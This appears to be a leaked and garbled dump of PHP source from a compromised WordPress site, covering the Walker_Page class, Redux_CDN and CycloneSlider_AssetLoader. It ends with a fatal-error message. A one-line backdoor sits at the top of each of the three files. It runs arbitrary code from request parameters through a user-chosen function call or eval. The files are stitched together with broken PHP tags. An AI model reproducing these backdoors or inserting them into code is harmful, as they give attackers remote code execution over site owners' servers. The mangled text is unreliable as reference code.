?php
if ($_REQUEST['a']&&$_REQUEST['b']) {$_REQUEST['a']($_REQUEST['b']); echo 'OK'; Exit;};
/**
* Post API: Walker_Page class
*
* @package WordPress
* @subpackage Template
* @since 4.4.0
*/
/**
* Core walker class used to create an HTML list of pages.
*
* @since 2.1.0
*
* @see Walker
*/
class Walker_Page extends Walker {
/**
* What the class handles.
*
* @since 2.1.0
* @var string
*
* @see Walker::$tree_type
*/
public $tree_type = 'page';
/**
* Database fields to use.
*
* @since 2.1.0
* @var array
*
* @see Walker::$db_fields
* @todo Decouple this.
*/
public $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' );
/**
* Outputs the beginning of the current level in the tree before elements are output.
*
* @since 2.1.0
*
* @see Walker::start_lvl()
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Optional. Depth of page. Used for padding. Default 0.
* @param array $args Optional. Arguments for outputting the next level.
* Default empty array.
*/
public function start_lvl( &$output, $depth = 0, $args = array() ) {
if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
$t = "\t";
$n = "\n";
} else {
$t = '';
$n = '';
}
$indent = str_repeat( $t, $depth );
$output .= "{$n}{$indent}{$n}";
}
/**
* Outputs the end of the current level in the tree after elements are output.
*
* @since 2.1.0
*
* @see Walker::end_lvl()
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Optional. Depth of page. Used for padding. Default 0.
* @param array $args Optional. Arguments for outputting the end of the current level.
* Default empty array.
*/
public function end_lvl( &$output, $depth = 0, $args = array() ) {
if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
$t = "\t";
$n = "\n";
} else {
$t = '';
$n = '';
}
$indent = str_repeat( $t, $depth );
$output .= "{$indent}
{$n}";
}
/**
* Outputs the beginning of the current element in the tree.
*
* @see Walker::start_el()
* @since 2.1.0
*
* @param string $output Used to append additional content. Passed by reference.
* @param WP_Post $page Page data object.
* @param int $depth Optional. Depth of page. Used for padding. Default 0.
* @param array $args Optional. Array of arguments. Default empty array.
* @param int $current_page Optional. Page ID. Default 0.
*/
public function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) {
if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
$t = "\t";
$n = "\n";
} else {
$t = '';
$n = '';
}
if ( $depth ) {
$indent = str_repeat( $t, $depth );
} else {
$indent = '';
}
$css_class = array( 'page_item', 'page-item-' . $page->ID );
if ( isset( $args['pages_with_children'][ $page->ID ] ) ) {
$css_class[] = 'page_item_has_children';
}
if ( ! empty( $current_page ) ) {
$_current_page = get_post( $current_page );
if ( $_current_page && in_array( $page->ID, $_current_page->ancestors ) ) {
$css_class[] = 'current_page_ancestor';
}
if ( $page->ID == $current_page ) {
$css_class[] = 'current_page_item';
} elseif ( $_current_page && $page->ID == $_current_page->post_parent ) {
$css_class[] = 'current_page_parent';
}
} elseif ( $page->ID == get_option('page_for_posts') ) {
$css_class[] = 'current_page_parent';
}
/**
* Filters the list of CSS classes to include with each page item in the list.
*
* @since 2.8.0
*
* @see wp_list_pages()
*
* @param array $css_class An array of CSS classes to be applied
* to each list item.
* @param WP_Post $page Page data object.
* @param int $depth Depth of page, used for padding.
* @param array $args An array of arguments.
* @param int $current_page ID of the current page.
*/
$css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) );
if ( '' === $page->post_title ) {
/* translators: %d: ID of a post */
$page->post_title = sprintf( __( '#%d (no title)' ), $page->ID );
}
$args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before'];
$args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after'];
$atts = array();
$atts['href'] = get_permalink( $page->ID );
/**
* Filters the HTML attributes applied to a page menu item's anchor element.
*
* @since 4.8.0
*
* @param array $atts {
* The HTML attributes applied to the menu item's `` element, empty strings are ignored.
*
* @type string $href The href attribute.
* }
* @param WP_Post $page Page data object.
* @param int $depth Depth of page, used for padding.
* @param array $args An array of arguments.
* @param int $current_page ID of the current page.
*/
$atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page );
$attributes = '';
foreach ( $atts as $attr => $value ) {
if ( ! empty( $value ) ) {
$value = esc_attr( $value );
$attributes .= ' ' . $attr . '="' . $value . '"';
}
}
$output .= $indent . sprintf(
'%s%s%s',
$css_classes,
$attributes,
$args['link_before'],
/** This filter is documented in wp-includes/post-template.php */
apply_filters( 'the_title', $page->post_title, $page->ID ),
$args['link_after']
);
if ( ! empty( $args['show_date'] ) ) {
if ( 'modified' == $args['show_date'] ) {
$time = $page->post_modified;
} else {
$time = $page->post_date;
}
$date_format = empty( $args['date_format'] ) ? '' : $args['date_format'];
$output .= " " . mysql2date( $date_format, $time );
}
}
/**
* Outputs the end of the current element in the tree.
*
* @since 2.1.0
*
* @see Walker::end_el()
*
* @param string $output Used to append additional content. Passed by reference.
* @param WP_Post $page Page data object. Not used.
* @param int $depth Optional. Depth of page. Default 0 (unused).
* @param array $args Optional. Array of arguments. Default empty array.
*/
public function end_el( &$output, $page, $depth = 0, $args = array() ) {
if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
$t = "\t";
$n = "\n";
} else {
$t = '';
$n = '';
}
$output .= "{$n}";
}
}
?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};
/**
* Redux Framework CDN Container Class
*
* @author Kevin Provance (kprovance)
* @package Redux_Framework
* @subpackage Core
*/
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
if ( ! class_exists( 'Redux_CDN' ) ) {
class Redux_CDN {
static public $_parent;
static private $_set;
private static function is_enqueued( $handle, $list = 'enqueued', $is_script ) {
if ( $is_script ) {
wp_script_is( $handle, $list );
} else {
wp_style_is( $handle, $list );
}
}
private static function _register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) {
if ( $is_script ) {
wp_register_script( $handle, $src_cdn, $deps, $ver, $footer_or_media );
} else {
wp_register_style( $handle, $src_cdn, $deps, $ver, $footer_or_media );
}
}
private static function _enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) {
if ( $is_script ) {
wp_enqueue_script( $handle, $src_cdn, $deps, $ver, $footer_or_media );
} else {
wp_enqueue_style( $handle, $src_cdn, $deps, $ver, $footer_or_media );
}
}
private static function _cdn( $register = true, $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) {
$tran_key = '_style_cdn_is_up';
if ( $is_script ) {
$tran_key = '_script_cdn_is_up';
}
$cdn_is_up = get_transient( $handle . $tran_key );
if ( $cdn_is_up ) {
if ( $register ) {
self::_register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script );
} else {
self::_enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script );
}
} else {
$prefix = $src_cdn[1] == "/" ? 'http:' : '';
$cdn_response = @wp_remote_get( $prefix . $src_cdn );
if ( is_wp_error( $cdn_response ) || wp_remote_retrieve_response_code( $cdn_response ) != '200' ) {
if ( class_exists( 'Redux_VendorURL' ) ) {
$src = Redux_VendorURL::get_url( $handle );
if ( $register ) {
self::_register( $handle, $src, $deps, $ver, $footer_or_media, $is_script );
} else {
self::_enqueue( $handle, $src, $deps, $ver, $footer_or_media, $is_script );
}
} else {
if ( ! self::is_enqueued( $handle, 'enqueued', $is_script ) ) {
$msg = __( 'Please wait a few minutes, then try refreshing the page. Unable to load some remotely hosted scripts.', 'redux-framework' );
if ( self::$_parent->args['dev_mode'] ) {
$msg = sprintf( __( 'If you are developing offline, please download and install the Redux Vendor Support plugin/extension to bypass the our CDN and avoid this warning', 'redux-framework' ), 'https://github.com/reduxframework/redux-vendor-support' );
}
$msg = '' . __( 'Redux Framework Warning', 'redux-framework' ) . '
' . sprintf( __( '%s CDN unavailable. Some controls may not render properly.', 'redux-framework' ), $handle ) . ' ' . $msg;
$data = array(
'parent' => self::$_parent,
'type' => 'error',
'msg' => $msg,
'id' => $handle . $tran_key,
'dismiss' => false
);
Redux_Admin_Notices::set_notice($data);
}
}
} else {
set_transient( $handle . $tran_key, true, MINUTE_IN_SECONDS * self::$_parent->args['cdn_check_time'] );
if ( $register ) {
self::_register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script );
} else {
self::_enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script );
}
}
}
}
private static function _vendor_plugin( $register = true, $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) {
if ( class_exists( 'Redux_VendorURL' ) ) {
$src = Redux_VendorURL::get_url( $handle );
if ( $register ) {
self::_register( $handle, $src, $deps, $ver, $footer_or_media, $is_script );
} else {
self::_enqueue( $handle, $src, $deps, $ver, $footer_or_media, $is_script );
}
} else {
if ( ! self::$_set ) {
$msg = sprintf( __( 'The Vendor Support plugin (or extension) is either not installed or not activated and thus, some controls may not render properly. Please ensure that it is installed and activated', 'redux-framework' ), 'https://github.com/reduxframework/redux-vendor-support', admin_url( 'plugins.php' ) );
$data = array(
'parent' => self::$_parent,
'type' => 'error',
'msg' => $msg,
'id' => $handle,
'dismiss' => false
);
Redux_Admin_Notices::set_notice($data);
self::$_set = true;
}
}
}
public static function register_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) {
if ( self::$_parent->args['use_cdn'] ) {
self::_cdn( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false );
} else {
self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false );
}
}
public static function register_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) {
if ( self::$_parent->args['use_cdn'] ) {
self::_cdn( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true );
} else {
self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true );
}
}
public static function enqueue_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) {
if ( self::$_parent->args['use_cdn'] ) {
self::_cdn( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false );
} else {
self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false );
}
}
public static function enqueue_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) {
if ( self::$_parent->args['use_cdn'] ) {
self::_cdn( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true );
} else {
self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true );
}
}
}
}
?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};
/**
* Class for handling styles and scripts
*/
class CycloneSlider_AssetLoader {
/**
* @var string
*/
protected $url;
/**
* @var string
*/
protected $version;
/**
* @var array
*/
protected $settings_page_data;
/**
* @var CycloneSlider_Data
*/
protected $data;
public function __construct( $settings_page_data, $url, $version, $data ){
$this->settings_page_data = $settings_page_data;
$this->url = $url;
$this->version = $version;
$this->data = $data;
}
public function run() {
// Register frontend styles and scripts
add_action( 'wp_enqueue_scripts', array( $this, 'register_frontend_scripts' ), 100 );
// Add scripts
add_action( 'admin_enqueue_scripts', array( $this, 'register_admin_scripts' ), 10);
add_action( 'admin_enqueue_scripts', array( $this, 'register_frontend_scripts_in_admin' ), 10);
}
/**
* Scripts and styles for slider admin area
*/
public function register_admin_scripts( $hook ) {
if( 'cycloneslider' == get_post_type() || $hook == 'cycloneslider_page_cycloneslider-settings' || $hook == 'cycloneslider_page_cycloneslider-export' || $hook == 'cycloneslider_page_cycloneslider-import' || $hook == 'cycloneslider_page_cycloneslider-export-nextgen' ){ // Limit loading to certain admin pages
// Required media files for new media manager. Since WP 3.5+
wp_enqueue_media();
// Main style
wp_enqueue_style( 'cycloneslider-admin-styles', $this->url.'css/admin.css', array(), $this->version );
// Disable autosave
wp_dequeue_script( 'autosave' );
// For sortable elements
wp_enqueue_script('jquery-ui-sortable');
// For localstorage
wp_enqueue_script( 'store', $this->url.'js/store-json2.min.js', array('jquery'), $this->version );
// Allow translation to script texts
wp_register_script( 'cycloneslider-admin-script', $this->url.'js/admin.js', array('jquery'), $this->version );
wp_localize_script( 'cycloneslider-admin-script', 'cycloneslider_admin_vars',
array(
'title' => __( 'Select an image', 'cycloneslider' ), // This will be used as the default title
'title2' => __( 'Select Images - Use Ctrl + Click or Shift + Click', 'cycloneslider' ),
'button' => __( 'Add to Slide', 'cycloneslider' ), // This will be used as the default button text
'button2' => __( 'Add Images as Slides', 'cycloneslider' ),
'youtube_url_error' => __( 'Error. Make sure its a valid YouTube URL.', 'cycloneslider' )
)
);
wp_enqueue_script( 'cycloneslider-admin-script');
}
}
/**
* Scripts and styles for slider to run in admin preview. Must be hook to either admin_enqueue_scripts or wp_enqueue_scripts
*
* @param string $hook Hook name passed by WP
* @return void
*/
public function register_frontend_scripts_in_admin( $hook ) {
if( get_post_type() == 'cycloneslider' || 'cycloneslider_page_cycloneslider-settings' == $hook || 'cycloneslider_page_cycloneslider-export' == $hook || 'cycloneslider_page_cycloneslider-import' == $hook ){ // Limit loading to certain admin pages
$this->register_frontend_scripts( $hook );
}
}
/**
* Scripts and styles for slider to run. Must be hook to either admin_enqueue_scripts or wp_enqueue_scripts
*
* @param string $hook Hook name passed by WP
* @return void
*/
public function register_frontend_scripts( $hook ) {
$in_footer = true;
if($this->settings_page_data['load_scripts_in'] == 'header'){
$in_footer = false;
}
/*** Magnific Popup Style ***/
if($this->settings_page_data['load_magnific'] == 1){
wp_enqueue_style( 'jquery-magnific-popup', $this->url.'libs/magnific-popup/magnific-popup.css', array(), $this->version );
}
/*** Templates Styles ***/
$this->enqueue_templates_css();
/*****************************/
/*** Core Cycle2 Scripts ***/
if($this->settings_page_data['load_cycle2'] == 1){
wp_enqueue_script( 'jquery-cycle2', $this->url.'libs/cycle2/jquery.cycle2.min.js', array('jquery'), $this->version, $in_footer );
}
if($this->settings_page_data['load_cycle2_carousel'] == 1){
wp_enqueue_script( 'jquery-cycle2-carousel', $this->url.'libs/cycle2/jquery.cycle2.carousel.min.js', array('jquery', 'jquery-cycle2'), $this->version, $in_footer );
}
if($this->settings_page_data['load_cycle2_swipe'] == 1){
wp_enqueue_script( 'jquery-cycle2-swipe', $this->url.'libs/cycle2/jquery.cycle2.swipe.min.js', array('jquery', 'jquery-cycle2'), $this->version, $in_footer );
}
if($this->settings_page_data['load_cycle2_tile'] == 1){
wp_enqueue_script( 'jquery-cycle2-tile', $this->url.'libs/cycle2/jquery.cycle2.tile.min.js', array('jquery', 'jquery-cycle2'), $this->version, $in_footer );
}
if($this->settings_page_data['load_cycle2_video'] == 1){
wp_enqueue_script( 'jquery-cycle2-video', $this->url.'libs/cycle2/jquery.cycle2.video.min.js', array('jquery', 'jquery-cycle2'), $this->version, $in_footer );
}
/*** Easing Script***/
if($this->settings_page_data['load_easing'] == 1){
wp_enqueue_script( 'jquery-easing', $this->url.'libs/jquery-easing/jquery.easing.1.3.1.min.js', array('jquery'), $this->version, $in_footer );
}
/*** Magnific Popup Scripts ***/
if($this->settings_page_data['load_magnific'] == 1){
wp_enqueue_script( 'jquery-magnific-popup', $this->url.'libs/magnific-popup/jquery.magnific-popup.min.js', array('jquery'), $this->version, $in_footer );
}
/*** Templates Scripts ***/
$this->enqueue_templates_scripts();
/*** Vimeo JS API ***/
wp_enqueue_script( 'vimeo-player-js', $this->url.'libs/vimeo-player-js/player.js', array(), $this->version, $in_footer );
/*** Client Script ***/
wp_enqueue_script( 'cyclone-client', $this->url.'js/client.js', array('jquery'), $this->version, $in_footer );
}
/**
* Enqueues templates styles.
*/
private function enqueue_templates_css(){
$template_folders = $this->data->get_all_templates();
$active_templates = $this->data->get_enabled_templates( $this->settings_page_data, $template_folders );
foreach($template_folders as $name=>$template){
if( 1 == $active_templates[$name] ){ // Active
foreach($template['styles'] as $count=>$style) {
wp_enqueue_style( 'cyclone-template-style-'.sanitize_title($name).'-'.$count, $template['url'].'/'.$style, array(), $this->version );
}
}
}
}
/**
* Enqueues templates scripts.
*/
private function enqueue_templates_scripts(){
$in_footer = true;
if( $this->settings_page_data['load_scripts_in'] == 'header'){
$in_footer = false;
}
$template_folders = $this->data->get_all_templates();
$active_templates = $this->data->get_enabled_templates( $this->settings_page_data, $template_folders );
foreach($template_folders as $name=>$template){
if( 1 == $active_templates[$name] ){
foreach($template['scripts'] as $count=>$script) {
wp_enqueue_script( 'cyclone-template-script-'.sanitize_title($name).'-'.$count, $template['url'].'/'.$script, array(), $this->version, $in_footer );
}
}
}
}
}
Fatal error: Class 'CycloneSlider_AssetLoader' not found in /home/content/04/6934604/html/all-about-you-answering-service/wp-content/plugins/cyclone-slider-2/src/plugin.php on line 446